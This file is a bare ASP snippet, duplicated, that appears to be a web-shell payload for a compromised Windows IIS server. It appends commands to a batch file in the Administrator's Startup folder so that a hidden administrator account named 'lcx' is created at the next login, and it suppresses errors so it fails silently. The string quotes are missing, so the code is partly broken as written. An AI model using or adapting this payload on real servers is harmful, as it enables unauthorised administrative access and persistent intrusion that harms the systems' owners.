<%
on error resume next
dim lcx
set lcx=server.CreateObject(Adodb.Stream)
lcx.Open
lcx.Type=2
lcx.CharSet=gb2312
lcx.LoadFromFile C:/Documents and Settings/Administrator/「開始」功能表/程式/啟動/cook.bat
lcx.Position=lcx.Size
lcx.writetext net user lcx lcx /add&chr(10)&net localgroup administrators lcx /add
lcx.SaveToFile C:/Documents and Settings/Administrator/「開始」功能表/程式/啟動/cook.bat,2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject(Adodb.Stream)
lcx.Open
lcx.Type=2
lcx.CharSet=gb2312
lcx.LoadFromFile C:/Documents and Settings/Administrator/「開始」功能表/程式/啟動/cook.bat
lcx.Position=lcx.Size
lcx.writetext net user lcx lcx /add&chr(10)&net localgroup administrators lcx /add
lcx.SaveToFile C:/Documents and Settings/Administrator/「開始」功能表/程式/啟動/cook.bat,2
lcx.Close
set lcx=nothing
%>